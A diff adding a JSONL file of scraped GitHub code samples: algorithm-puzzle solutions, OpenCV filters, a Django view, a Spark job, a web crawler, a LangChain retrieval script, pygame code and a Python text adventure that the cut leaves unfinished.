diff --git "a/270.jsonl" "b/270.jsonl" new file mode 100644--- /dev/null +++ "b/270.jsonl" @@ -0,0 +1,1992 @@ +{"seq_id":"24843472090","text":"import decimal\n\narr = [-4, 3, -9, 0, 4, 1,]\n\ndef plusMinus(arr):\n arr_len = len(arr)\n counter1 = 0\n counter2 = 0\n counter3 = 0\n\n for i, v in enumerate(arr, 0):\n if v > 0:\n counter1 += 1\n if v < 0:\n counter2 += 1\n if v == 0:\n counter3 += 1\n \n # result = format(counter1/ arr_len, '.6f'), format(counter2/ arr_len, '.6f'), format(counter3/ arr_len, '.6f')\n result = decimal.Decimal(format(counter1/ arr_len, '.6f'))\n result2 = decimal.Decimal(format(counter2/ arr_len, '.6f'))\n result3 = decimal.Decimal(format(counter3/ arr_len, '.6f'))\n\n return print(result, '\\n',result2, '\\n',result3) \n \nplusMinus(arr)","repo_name":"jrtorsa/Hacker-Rank-Solutions","sub_path":"plusMinus.py","file_name":"plusMinus.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72055142876","text":"import sys\nfrom collections import deque, defaultdict\n\ninput = sys.stdin.readline\n\n# bfs는 간선의 가중치가 동일해야 사용가능\n# 0-1 bfs 사용 : 가중치간 0인 정점은 큐의 맨 앞에 넣음\n\ndef bfs(n):\n que = deque()\n que.append(n)\n visited[n] = 0\n\n while visited[k] == -1:\n x = que.popleft()\n if x == k:\n return\n\n for i in range(3):\n nx = x + dx[i] if i != 0 else x * dx[i]\n\n if 0 <= nx <= 100000 and visited[nx] == -1:\n if i == 0: # dx살펴볼때 순간이동(2)를 제일먼저 살핌 (while문 조건으로 인해 같은 순서일때 큐 순서 반영안됨)\n visited[nx] = visited[x]\n que.appendleft(nx) # 가중치(0)이므로 큐의 맨 앞에 넣음\n continue\n\n visited[nx] = visited[x] + 1\n que.append(nx) # 가중치(1)은 큐 뒤에 넣음\n\n\nif __name__ == '__main__':\n n, k = map(int, input().split())\n visited = [-1]*100001\n dx = [2, -1, 1]\n bfs(n)\n\n print(visited[k])\n","repo_name":"baexxbin/Algorithm","sub_path":"BOJ_Python/13549.py","file_name":"13549.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"72696145434","text":"import cv2\nimport numpy as np\nimport random\n\nimage = cv2.imread(\"cats-32.jpg\")\ncv2.imshow(\"Original image\", image)\nimage1 = cv2.bitwise_not(image)\ncv2.imshow(\"Inverted image\", image1)\n\n\ndef sepia(image):\n kernel = np.array([[0.272, 0.534, 0.131],\n [0.349, 0.686, 0.168],\n [0.393, 0.769, 0.189]])\n return cv2.filter2D(image, -1, kernel)\n\n\nimage2 = sepia(image1)\n\n\ndef sp_noise(image, prob):\n output = np.zeros(image.shape, np.uint8)\n thres = 1 - prob\n for i in range(image.shape[0]):\n for j in range(image.shape[1]):\n rdn = random.random()\n if rdn < prob:\n output[i][j] = 0\n elif rdn > thres:\n output[i][j] = 255\n else:\n output[i][j] = image[i][j]\n return output\n\n\ndst = sp_noise(image2, 0.01)\ncv2.imshow(\"Salt&Pepper noise + Sepia\", dst)\nbrighten_image = cv2.bitwise_not(image2)\n\nnew_image = np.zeros(brighten_image.shape, brighten_image.dtype)\nalpha = 1.3\nbeta = 40\nfor y in range(brighten_image.shape[0]):\n for x in range(brighten_image.shape[1]):\n for c in range(brighten_image.shape[2]):\n new_image[y, x, c] = np.clip(alpha * brighten_image[y, x, c] + beta, 0, 255)\n\nlookUpTable = np.empty((1, 256), np.uint8)\nfor i in range(256):\n lookUpTable[0, i] = np.clip(pow(i / 255.0, 0.8) * 255.0, 0, 255)\nres = cv2.LUT(new_image, lookUpTable)\n\ndenoise_image = cv2.medianBlur(image, 5)\ncv2.imshow(\"Denoise + brightness/contrast correction\", denoise_image)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"Equilibriumty/CompGraphics","sub_path":"Lab8/lab8_task1.py","file_name":"lab8_task1.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14521323273","text":"def add_time(start, duration, day = None):\n\n start_len = len(start)\n duration_len = len(duration)\n\n #pulls out AM or PM for start time\n am_pm = start[-2:]\n start_hour = int(start[0:-6])\n start_min = int(start[-5:-3])\n\n dur_hour = int(duration[0:-3])\n dur_min = int(duration[-2:])\n\n #convert start hour to 24-hour time\n if start_hour == 12 and am_pm == \"AM\":\n start_hour = 0\n elif start_hour != 12 and am_pm == \"PM\":\n start_hour += 12\n\n #convert duration to minutes\n dur_as_mins = (dur_hour * 60) + dur_min\n total_mins = dur_as_mins + start_min\n #determine number of hours and minutes to add to start_time\n add_hours = total_mins // 60\n new_hour = start_hour + add_hours\n new_min = str(round(((total_mins / 60) - add_hours) * 60))\n #adds leading 0 if new_min is only 1 digit in length\n if len(new_min) == 1:\n new_min = f'0{new_min}'\n\n #adjust to proper AM/PM designation. Floor division of AM hours (0-11) is always an even number; (12-23) is always an odd number. Taking the modulo of that result provides the index to pull the proper designation from the list a_p.\n a_p = [\"AM\", \"PM\"]\n new_am_pm = a_p[((new_hour // 12) % 2)]\n\n #convert hour back to 12-hour time\n stand_hour = new_hour % 12\n new_stand_hour = str(12) if stand_hour == 0 else str(stand_hour)\n\n #determine number of days later\n day_count = new_hour // 24\n if day_count > 1:\n statement = f\" ({day_count} days later)\"\n elif day_count == 1:\n statement = \" (next day)\"\n else:\n statement = \"\"\n \n #include new day of the week if day is included as a parameter\n if day != None:\n day = day.lower().title()\n days = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday']\n days_len = len(days)\n day_index = days.index(day)\n #uses modulo of list length of days to cycle through days list to determine the new day\n new_day = days[(day_index + day_count) % days_len]\n return f'{new_stand_hour}:{new_min} {new_am_pm}, {new_day}{statement}'\n else:\n return f'{new_stand_hour}:{new_min} {new_am_pm}{statement}'\n","repo_name":"sahopkin/time-calculator","sub_path":"time_calculator.py","file_name":"time_calculator.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"927099037","text":"from django.shortcuts import render\n\n# Create your views here.\n#歌曲播放\nfrom index.models import Dynamic, Song\n\n\ndef playView(request,song_id):\n search_song = Dynamic.objects.select_related('song').order_by('-dynamic_search').all()[:4]\n song_info = Song.objects.get(song_id=int(song_id))\n play_list = request.session.get('play_list',[])\n song_exit = False\n if play_list:\n for i in play_list:\n if int(song_id) == i['song_id']:\n song_exit = True\n if song_exit == False:\n play_list.append({'song_id':int(song_id),'song_singer':song_info.song_singer,'song_name':song_info.song_name,'song_time':song_info.song_time})\n request.session['play_list'] = play_list\n if song_info.song_lyrics !='暂无歌词':\n f = open('static/songLyric'+song_info.song_lyrics,'r',encoding='utf-8')\n song_lyrics = f.read()\n f.closed()\n # 相关歌曲\n song_type = Song.objects.values('song_type').get(song_id=song_id)['song_type']\n song_relevant = Dynamic.objects.select_related('song').filter(song__song_type=song_type).order_by('-dynamic_plays').all()[:6]\n\n dynamic_info = Dynamic.objects.filter(song_id=int(song_id)).first()\n if dynamic_info:\n dynamic_info.dynamic_plays +=1\n dynamic_info.save()\n else:\n dynamic_info = Dynamic(dynamic_plays=1,dynamic_search=0,dynamic_down=0,song_id=song_id)\n dynamic_info.save()\n return render(request,'play.html',locals())\n\n#歌曲下载\ndef downloadView(request,song_id):\n return None","repo_name":"leeang332526/music","sub_path":"play/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"35261723694","text":"from pyspark import SparkContext\r\nfrom Timegeo_core import *\r\n\r\n#pwd = '../trace_example/'\r\npwd = '/user/fib/fengjie/'\r\npwd1 = 'telecom/'\r\npwd2 = 'noncommuter/'\r\npwd3 = 'trace_clean/'\r\nsc = SparkContext(appName='fengjie:Timegeo')\r\ntraces = sc.textFile(pwd + 'example/sh_traces.txt')\r\n\r\ntrace = traces.map(preprocessing)\r\ntrace_stay = trace.filter(lambda x: x['user_stay'] > 10)\r\ntrace_home = trace_stay.filter(lambda x: x['home_stay'] > 0)\r\ntrace_work = trace_home.filter(lambda x: x['work_stay'] > 0)\r\n\r\ntrace.saveAsTextFile(pwd+pwd1+pwd3+'orig')\r\ntrace_stay.saveAsTextFile(pwd+pwd1+pwd3+'stay')\r\ntrace_home.saveAsTextFile(pwd+pwd1+pwd3+'home')\r\ntrace_work.saveAsTextFile(pwd+pwd1+pwd3+'work')\r\n\r\nrhythm_individual = trace_stay.map(global_rhythm)\r\nrhythm = rhythm_individual.groupByKey().map(global_reduce)\r\nrhythm.saveAsTextFile(pwd + pwd1+pwd2+'rhythm')\r\nrhythm_global = sc.broadcast(rhythm.collect())\r\n\r\ndeltar_individual = trace_stay.map(global_displacement)\r\ndeltar = deltar_individual.groupByKey().map(global_reduce)\r\ndeltar.saveAsTextFile(pwd + pwd1+pwd2+'deltar')\r\n\r\ntrace_ready = trace_home.filter(lambda x: x['work_stay'] == 0).map(lambda x: simulate_traces(x, rhythm_global))\r\ntrace_ready.saveAsTextFile(pwd+pwd1+pwd2+'trace_ready')\r\n\r\nsc.stop()\r\n","repo_name":"Chibadaisuki/GeoGail","sub_path":"timeGeo/spark/Timegeo_submit.py","file_name":"Timegeo_submit.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"50"} +{"seq_id":"6688774953","text":"import urllib.request\nimport urllib.error\nimport itertools\nimport re\n\ndef download(url, user_agent='wswp', num_retries=2):\n print('Downloading:', url) \n headers = {'User-agent': user_agent}\n request = urllib.request.Request(url, headers=headers)\n try:\n html = urllib.request.urlopen(request).read()\n except urllib.error.URLError as e:\n print('Download Error:', e.reason)\n html = None\n if num_retries > 0:\n if hasattr(e, 'code') and 500 <= e.code < 600:\n # recursively retry 5xx HTTP errors\n return download(url, num_retries-1)\n return html\n\ndef crawl_sitemap(url):\n # download the sitemap file\n sitemap = download(url)\n # extract the sitemap links\n links = re.findall('', str(sitemap))\n # download each link\n for link in links:\n print(link)\n # scrape html here\n\ndef link_crawler(seed_url, link_regex):\n \"\"\"Crwal from the given seed URL following links matched by link_regex\n \"\"\"\n crawl_queue = [seed_url]\n while crawl_queue:\n url = crawl_queue.pop()\n html = download(url)\n for link in get_links(html.deocde()):\n # 筛选link\n if re.match(link_regex, link):\n crawl_queue.append(link)\n\ndef get_links(html):\n \"\"\"返回这个页面中的所有链接\n \"\"\"\n webpage_regex = re.compile(']+href=[\"\\'](.*?)[\"\\']', \n re.IGNORECASE)\n return webpage_regex.findall(html)\n \n \n\nif __name__ == '__main__':\n # 允许发生错误的最大次数\n max_error = 5\n # 记录连续发生的错误次数\n num_errors = 0\n for page in itertools.count(45):\n url = 'http://example.webscraping.com/places/default/view/%d' % page\n html = download(url)\n if html:\n num_errors += 1\n if num_errors == max_error:\n break\n else:\n # 重置错误计数器\n num_errors = 0","repo_name":"AKAGB/Python-study","sub_path":"Others/crawler_study/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"1112227492","text":"from ROOT import *\nfrom array import array\n\ngROOT.SetBatch(True)\ngStyle.SetOptStat(0)\ngROOT.ProcessLine(\".L ~/setTDRStyle.C\")\nsetTDRStyle()\n\nimport argparse\nparser = argparse.ArgumentParser(description='Add Classification BDT weights')\nparser.add_argument('-m', '--moreVar', dest='moreVar', required=True, type=str)\nparser.add_argument('-s', '--stdVar', dest='std', required=True, type=str)\n\nopt = parser.parse_args()\n\ninputMore = TFile(opt.moreVar)\ninputStd = TFile(opt.std)\n\nh_moreVar = inputMore.Get(\"roc\")\nh_std = inputStd.Get(\"roc\")\n\nc1 = TCanvas()\n#h_moreVar.SetLineWidth(2)\nh_moreVar.SetLineColor(kRed)\nleg = TLegend(0.2, 0.6, 0.3, 0.7)\nleg.SetLineWidth(0)\nleg.SetBorderSize(0)\nleg.SetFillStyle(0)\nleg.AddEntry(h_moreVar,\"New\",\"l\")\nleg.AddEntry(h_std,\"Std\",\"l\")\n\nh_moreVar.GetXaxis().SetRangeUser(0.3, 1)\nh_moreVar.GetYaxis().SetRangeUser(0.3, 1.1)\nh_moreVar.Draw()\nh_std.Draw(\"same\")\nleg.Draw(\"same\") \nc1.SaveAs(\"plots/RocComparison.png\")\nc1.SaveAs(\"plots/RocComparison.pdf\")\n\nmoreVarOutput = opt.moreVar.replace(\".root\",\"\")\nstdOutput = opt.std.replace(\".root\",\"\")\nstdOutput = opt.std.replace(\"plots/\",\"\")\noutfile = TFile(moreVarOutput+\"_\"+stdOutput+\".root\", \"RECREATE\")\nh_moreVar.Write(\"roc_moreVar\")\nh_std.Write(\"roc_std\")\nc1.Write(\"roc_comparison\")\noutfile.Close()\n","repo_name":"nadya-chernyavskaya/bbggTools","sub_path":"TrainMVA/plotRoc.py","file_name":"plotRoc.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"50"} +{"seq_id":"26245136938","text":"import os\nimport openai\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.embeddings.openai import OpenAIEmbeddings\nfrom langchain.vectorstores import Chroma\nfrom langchain.chains.question_answering import load_qa_chain\nfrom langchain.text_splitter import CharacterTextSplitter\nfrom langchain.embeddings.sentence_transformer import SentenceTransformerEmbeddings\n\ndebug = False\n\npersist_directory = 'db'\nembedding_function = SentenceTransformerEmbeddings(model_name=\"all-MiniLM-L6-v2\")\n\n# Function to initialize or load the Chroma database\ndef initialize_chroma_db(texts):\n if os.path.exists(persist_directory):\n # Load existing database\n if debug:\n print(\"Loading existing database...\")\n db = Chroma(persist_directory=\"./db\", embedding_function=embedding_function)\n else:\n # Create and initialize new database\n #embeddings = OpenAIEmbeddings()\n if debug:\n print(\"Creating new database...\")\n db = Chroma.from_texts(texts, embedding_function, persist_directory=persist_directory)\n return db.as_retriever()\n\n# Main function to process and query transcripts\ndef main():\n openai.api_key = os.environ[\"OPENAI_API_KEY\"]\n flattened_texts = []\n \n #check if db exists\n if os.path.exists(persist_directory):\n #don't process transcripts\n if debug:\n print(\"Database exists, skipping transcript processing...\")\n else: \n print(\"Database does not exist\")\n \n if debug:\n print(\"Initializing database...\")\n docsearch = initialize_chroma_db(flattened_texts)\n\n # Example query and processing\n query = \"Based on all of the transcripts, summarize who is Aaron LeBauer and what does he know about physical therapy?\"\n docs = docsearch.get_relevant_documents(query)\n chat_model = ChatOpenAI(model_name=\"gpt-4-1106-preview\")\n chain = load_qa_chain(llm=chat_model, chain_type=\"stuff\")\n answer = chain.run(input_documents=docs, question=query)\n\n print(\"Answer:\", answer)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"kpister/prompt-linter","sub_path":"data/scraping/repos/deshantm~youtube-rag-poc/rag-from-db.py","file_name":"rag-from-db.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"7919705577","text":"import pygame\n\ndirections = {\"N\": (0, -1), \"E\": (1, 0), \"S\": (0, 1), \"O\": (-1, 0)}\n\nanimations = {\"N\": (48, 0), \"E\": (16, 0), \"S\": (0, 0), \"O\": (32, 0)}\n\nclass Personnage(pygame.sprite.Sprite):\n def __init__(self, pos_x, pos_y, name, grille, fenetre):\n super().__init__()\n self.pos_x = self.last_x = pos_x\n self.pos_y = self.last_y = pos_y\n\n self.real_x, self.real_y = self.pos_x * 20, self.pos_y * 20\n self.dir = \"N\"\n self.speed = 20\n\n self.image_top_left = animations[\"S\"]\n\n self.fenetre = fenetre\n self.window_x, self.window_y = self.fenetre.get_size()\n\n self.name = name\n self.grille = grille\n self.grille.change_case(self.pos_x, self.pos_y, self)\n\n self.image = pygame.transform.scale(\n pygame.image.load(\"images/martine_t.png\"),\n (4 * self.grille.dim_case, self.grille.dim_case)\n )\n\n self.last_interactable = None\n\n def placer(self):\n self.window_x, self.window_y = self.fenetre.get_size()\n self.fenetre.blit(self.image, (\n self.pos_x * self.grille.dim_case + (self.window_x / 2 - self.grille.dim_case * self.grille.dim_x / 2 ),\n self.pos_y * self.grille.dim_case + (self.window_y / 2 - self.grille.dim_case * self.grille.dim_y / 2)),\n (self.image_top_left[0] / 16 * self.grille.dim_case, self.image_top_left[1] / 16 * self.grille.dim_case, self.grille.dim_case, self.grille.dim_case)\n )\n\n\n def deplacer_pixels(self, direction):\n print(\"deplacer_pixels\")\n if direction in directions:\n print(\"direction acceptée\")\n self.dir = direction\n\n desired_pos_x = self.pos_x + directions[direction][0]\n desired_pos_y = self.pos_y + directions[direction][1]\n\n desired_real_x = self.real_x + (directions[direction][0] * self.speed)\n desired_real_y = self.real_y + (directions[direction][1] * self.speed)\n\n if (desired_real_x >= 0 and \\\n desired_real_x <= self.grille.max_x * self.grille.case_size and \\\n desired_real_y >= 0 and \\\n desired_real_y <= self.grille.max_y * self.grille.case_size and \\\n self.grille.plateau[desired_pos_y][desired_pos_x].get_upper_element().allow_overlay):\n print(\"I'm OK to move to ({}, {}) / ({}, {}) from ({}, {}) / ({}, {})\".format(\n desired_pos_x, desired_pos_y,\n desired_real_x, desired_real_y,\n self.pos_x, self.pos_y,\n self.real_x, self.real_y\n ))\n else:\n print(\"I'm NOT OK to move to ({}, {}) / ({}, {}) from ({}, {}) / ({}, {})\".format(\n desired_pos_x, desired_pos_y,\n desired_real_x, desired_real_y,\n self.pos_x, self.pos_y,\n self.real_x, self.real_y\n ))\n self.real_x, self.real_y = desired_real_x, desired_real_y\n\n \n def deplacer(self, direction):\n if direction in directions:\n # Si la direction demandée est une direction valide\n\n self.dir = direction\n\n self.image_top_left = animations[self.dir]\n\n self.peut_interargir()\n self.placer()\n\n desired_pos_x = self.pos_x + directions[direction][0]\n desired_pos_y = self.pos_y + directions[direction][1] \n \n if (desired_pos_x >= 0 and \\\n desired_pos_x <= self.grille.max_x and \\\n desired_pos_y >= 0 and \\\n desired_pos_y <= self.grille.max_y and \\\n self.grille.plateau[desired_pos_y][desired_pos_x].get_upper_element().allow_overlay):\n self.last_y, self.last_x = self.pos_y, self.pos_x\n self.pos_y, self.pos_x = desired_pos_y, desired_pos_x\n \n self.grille.plateau[self.last_y][self.last_x].remove_last_content(self)\n self.grille.plateau[self.pos_y][self.pos_x].add_content(self)\n \n self.peut_interargir()\n self.placer()\n\n else:\n raise ValueError(\"Impossible de déplacer {} vers {}.\".format(self.name, direction))\n\n #self.placer()\n \n\n def interagir(self):\n pos_x_interact = self.pos_x + directions[self.dir][0]\n pos_y_interact = self.pos_y + directions[self.dir][1]\n self.interagir_avec_coordonnees(pos_x_interact, pos_y_interact)\n\n\n def interagir_avec_coordonnees(self, pos_x, pos_y):\n dist_x = abs(pos_x - self.pos_x)\n dist_y = abs(pos_y - self.pos_y)\n\n if pos_x <= self.grille.max_x and pos_y <= self.grille.max_y \\\n and pos_x >= 0 and pos_y >= 0 \\\n and self.grille.plateau[pos_y][pos_x].get_upper_element().allow_interact \\\n and ((dist_x == 1 and dist_y == 0) or (dist_x == 0 and dist_y == 1)) :\n self.grille.plateau[pos_y][pos_x].get_upper_element().interaction(self)\n else:\n raise ValueError(\"Impossible de faire interagir {} (positionné en ({}, {}), en direction {}) avec l'élément de coordonnées ({}, {}).\".format(self.name, self.pos_x, self.pos_y, self.dir, pos_x, pos_y))\n self.placer()\n\n def peut_interargir(self):\n pos_x = self.pos_x + directions[self.dir][0]\n pos_y = self.pos_y + directions[self.dir][1]\n print(self.last_interactable)\n if self.last_interactable != None:\n print(\"Not none\")\n self.last_interactable.enlever_transparence()\n self.last_interactable = None\n \n if pos_x <= self.grille.max_x and pos_y <= self.grille.max_y \\\n and pos_x >= 0 and pos_y >= 0 \\\n and self.grille.plateau[pos_y][pos_x].get_upper_element().allow_interact:\n print(\"En face OK\")\n self.grille.plateau[pos_y][pos_x].get_upper_element().ajouter_transparence() \n self.last_interactable = self.grille.plateau[pos_y][pos_x].get_upper_element() \n","repo_name":"M-1lan/Sort-the-Box","sub_path":"sources/personnage.py","file_name":"personnage.py","file_ext":"py","file_size_in_byte":6141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"9041101945","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution(object):\n def sortedListToBST(self, head):\n \"\"\"\n :type head: Optional[ListNode]\n :rtype: Optional[TreeNode]\n \"\"\"\n def helper(arr):\n if arr == []:\n return None\n m = len(arr) / 2\n root = TreeNode(arr[m].val)\n root.left = helper(arr[:m])\n root.right = helper(arr[m + 1:])\n return root\n\n if not head:\n return None\n arr = []\n tmp = head\n while tmp: \n arr.append(tmp)\n tmp = tmp.next\n return helper(arr)\n l = 'left'\n r = 'right'\n \n def sortedListToBST(self, head):\n if not head: return None\n \n nums = []\n while head:\n nums.append(head.val)\n head = head.next\n \n mid = len(nums) // 2\n treeNode = TreeNode(nums[mid])\n \n self.binarySearchTree(nums[:mid], self.l, treeNode)\n self.binarySearchTree(nums[(mid + 1):], self.r, treeNode)\n \n return treeNode\n \n \n def binarySearchTree(self, nums, direction, treeNode):\n if len(nums) <= 0: return\n \n mid = len(nums) // 2\n left, right = nums[:mid], nums[(mid + 1):]\n \n if direction == self.l:\n treeNode.left = TreeNode(nums[mid])\n self.binarySearchTree(left, self.l, treeNode.left)\n self.binarySearchTree(right, self.r, treeNode.left)\n else:\n treeNode.right = TreeNode(nums[mid])\n self.binarySearchTree(left, self.l, treeNode.right)\n self.binarySearchTree(right, self.r, treeNode.right)","repo_name":"shotarokuma/algo","sub_path":"109.py","file_name":"109.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"34765071601","text":"import sys\nimport heapq\n# from collections import deque\ninput = sys.stdin.readline\n\nresult = []\n\n# def bfs(board):\n# q = deque([])\n# w = len(board[0])\n# h = len(board)\n# check = [[0] * w for _ in range(h)]\n# q.append((0,0,board[0][0]))\n# check[0][0] = board[0][0]\n\n# dy = [1,-1,0,0]\n# dx = [0,0,1,-1]\n\n# while q:\n# y, x, cost = q.popleft()\n# for i in range(4):\n# if y+dy[i] < 0 or y+dy[i] >= h or x+dx[i] < 0 or x+dx[i] >= w:\n# continue\n# if check[y+dy[i]][x+dx[i]] != 0:\n# if board[y+dy[i]][x+dx[i]] + cost >= check[y+dy[i]][x+dx[i]]:\n# continue\n# check[y+dy[i]][x+dx[i]] = board[y+dy[i]][x+dx[i]] + cost\n# q.append((y+dy[i], x+dx[i], board[y+dy[i]][x+dx[i]] + cost))\n \n# result.append(check[-1][-1])\n # print(check[-1][-1])\n\ndef djikstra(board):\n n = len(board)\n dy = [1,-1,0,0]\n dx = [0,0,1,-1]\n check = [[float('infinity')] * n for _ in range(n)]\n dict = {}\n for r in range(n):\n for c in range(n):\n dict[(r,c)] = float('infinity')\n heap = []\n heapq.heappush(heap, (board[0][0],0,0))\n check[0][0] = board[0][0]\n while True:\n cost, y, x = heapq.heappop(heap)\n # print(cost,y,x)\n if y == n-1 and x == n-1:\n return cost\n for i in range(4):\n next_y = y+ dy[i]\n next_x = x+ dx[i]\n if next_y < 0 or next_y >= n or next_x < 0 or next_x >= n:\n continue\n\n if check[next_y][next_x] <= cost + board[next_y][next_x]:\n continue\n\n \n \n heapq.heappush(heap, (cost + board[next_y][next_x], next_y, next_x))\n check[next_y][next_x] = cost + board[next_y][next_x]\n # print(check)\n\n\n\n\n # print(dict)\nwhile True:\n n = int(input())\n if n == 0:\n break\n \n # for _ in range(n):\n # print([*map(int,input().split())])\n board = [list(map(int, input().split())) for _ in range(n)]\n\n # bfs(board)\n result.append(djikstra(board))\n # djikstra(board)\n\nfor i,r in enumerate(result):\n print(f'Problem {i+1}: {r}')\n","repo_name":"htogether7/algorithm","sub_path":"shortest/4485.py","file_name":"4485.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"43935631299","text":"import rooms\nimport dict\nimport pickle\n\n#init vals\nlocation = 0\nloca = rooms.Cafe\ninventory = [\"Notepad\",\"Boss' Note\"]\nsand = False\nscrib_quest = 0\n\n#location translation ig\ndef locachange():\n\tglobal location\n\tglobal loca\n\tif location == 0:\n\t\tloca = rooms.Cafe\n\telif location == 1:\n\t\tloca = rooms.Playground\n\telif location == 2:\n\t\tloca = rooms.Stargazers\n\telif location == 3:\n\t\tloca = rooms.Dungeon\n\telif location == 4:\n\t\tloca = rooms.Shop\n\n#help\ndef cmdlist():\n\tprint('''=====\nCommands:\n\"h\" or \"help\" for a list of commands\n\"i\" or \"inventory\" to see your items\n\"t\" or \"talk\" to talk to characters\n\"c\" or \"check\" to check a room for items\n\"g\" or \"grab\" to take an item\n\"u\" or \"use\" to use an item\n\"s\" or \"save\" to save\n\"l\" or \"load\" to load\n\"q\" or \"quit\" to quit\n\nMovement:\n\"door\" to enter that room\n\"leave\" to leave the room you're in\n\t(leaving a room will take you back to the cafe)\n\nP.S. Press enter to advance text!\n=====\n''')\n\n#movement\n\t#door x\ndef door():\n\tglobal location\n\ttry:\n\t\tx = int(input(\"Which door number?\\n\"))\n\t\tif x not in range(0,5):\n\t\t\tprint(\"That door doesn't exist.\")\n\t\telif x > rooms.unlocked:\n\t\t\tprint(\"That door is locked.\")\n\t\telse:\n\t\t\tlocation = x\n\t\t\tprint(\"You enter the door.\")\n\t\t\tlocachange()\n\n\t\t\tif loca.quest_status == 0:\n\t\t\t\tif location == 1:\n\t\t\t\t#playground\n\t\t\t\t\tprint(\"You're at... a playground? Would the boss' thing really be here?\")\n\t\t\t\t\trooms.Playground.quest_status = 1\n\t\t\t\tif location == 2:\n\t\t\t\t#stargazers\n\t\t\t\t\tprint(\"...Is this a cafe? Is boss really sending you to a rival business?\\nYou're starting to wonder if your boss is sending you on a wild goose chase.\")\n\t\t\t\t\trooms.Stargazers.quest_status = 1\n\t\t\t\tif location == 3:\n\t\t\t\t#dungeon\n\t\t\t\t\tprint(\"A dungeon???? You're seriously questioning boss' sanity here.\\nDo they even know where these doors lead?\")\n\t\t\t\t\trooms.Dungeon.quest_status = 1\n\t\t\t\tif location == 4:\n\t\t\t\t#shop\n\t\t\t\t\tprint(\"A shop! Maybe you can find what your boss needs here.\")\n\t\t\t\t\trooms.Shop.quest_status = 1\n\t\t\telse:\n\t\t\t\tprint(loca)\n\texcept ValueError:\n\t\tprint(\"That's not a number.\")\n\n\t#leave\ndef leave():\n\tglobal location\n\tif location == 0:\n\t\tprint(\"You're still on shift. You can't leave.\")\n\telse:\n\t\t#change character location\n\t\tif rooms.Playground.quest_status == 2:\n\t\t\trooms.cafecharas = [\"Boss\",\"Purple Child\"]\n\t\t\trooms.Playground.charas = []\n\t\t\n\t\tif rooms.Stargazers.quest_status == 2:\n\t\t\trooms.cafecharas = [\"Boss\",\"Purple Child\", \"Pink Barista\"]\n\t\t\trooms.Stargazers.charas = []\n\n\t\tif rooms.Dungeon.quest_status == 2:\n\t\t\trooms.cafecharas = [\"Boss\",\"Purple Child\", \"Pink Barista\", \"Skeleton\"]\n\t\t\trooms.Dungeon.charas = []\n\n\t\t#change player location\n\t\tprint(\"You're back in the cafe.\")\n\t\tlocation = 0\n\t\tlocachange()\n\n#inventory\ndef inv():\n\tfor i in inventory:\n\t\tprint(f\"- {i}\")\n\n#talk\ndef talk():\n\t#check character list + progress\n\t#only cafe has multiple characters\n\tif location == 0:\n\t\tprint(\"To who?\")\n\t\tfor i in rooms.cafecharas:\n\t\t\tprint(f\"-{i}\")\n\t\tx = input()\n\t\tif x.title() in rooms.cafecharas:\n\t\t\tif x.lower() == \"boss\":\n\t\t\t\tprint('''\"Hiya. Haven't found it yet?\"\n\"Chin up. You'll find it by the end of the day. Probably.\"''')\n\n\t\t\t#trade stickers for pocket sand from scrib\n\t\t\tglobal scrib_quest\n\t\t\tif x.lower() == \"purple child\":\n\t\t\t\tif scrib_quest == 0:\n\t\t\t\t\tprint('''\"Oh hey, it's you! Hey, I have a favor to ask. Can you find me some stickers?\"\nThe kid continues before you have the chance to decline.\n\"Cool, thanks!\"''')\n\t\t\t\t\tscrib_quest = 1\n\t\t\t\telif \"Stickers\" in inventory:\n\t\t\t\t\tprint('''You gave the stickers to the child.\n\"Thanks! Here's some sand. You can throw it at people or something.\"\nThe kid gives you a handful of sand.\nObtained Pocket Sand.''')\n\t\t\t\t\tscrib_quest = 2\n\t\t\t\t\tinventory.remove(\"Stickers\")\n\t\t\t\t\tinventory.append(\"Pocket Sand\")\n\t\t\t\telif scrib_quest == 1:\n\t\t\t\t\tprint('''\"Have you gotten the stickers yet? No? Okay!\"''')\n\t\t\t\telif scrib_quest == 2:\n\t\t\t\t\tprint('''\"Hi!!\"''')\n\n\t\t\t#get stickers from oli\n\t\t\tif x.lower() == \"pink barista\":\n\t\t\t\tprint('''He pauses in his conversation with your boss.\n\"Oh, hello again. Did you need something?\"''')\n\t\t\t\tif scrib_quest == 1:\n\t\t\t\t\tif \"Stickers\" not in inventory:\n\t\t\t\t\t\tprint(f'''\"Stickers? Yeah, I have some. 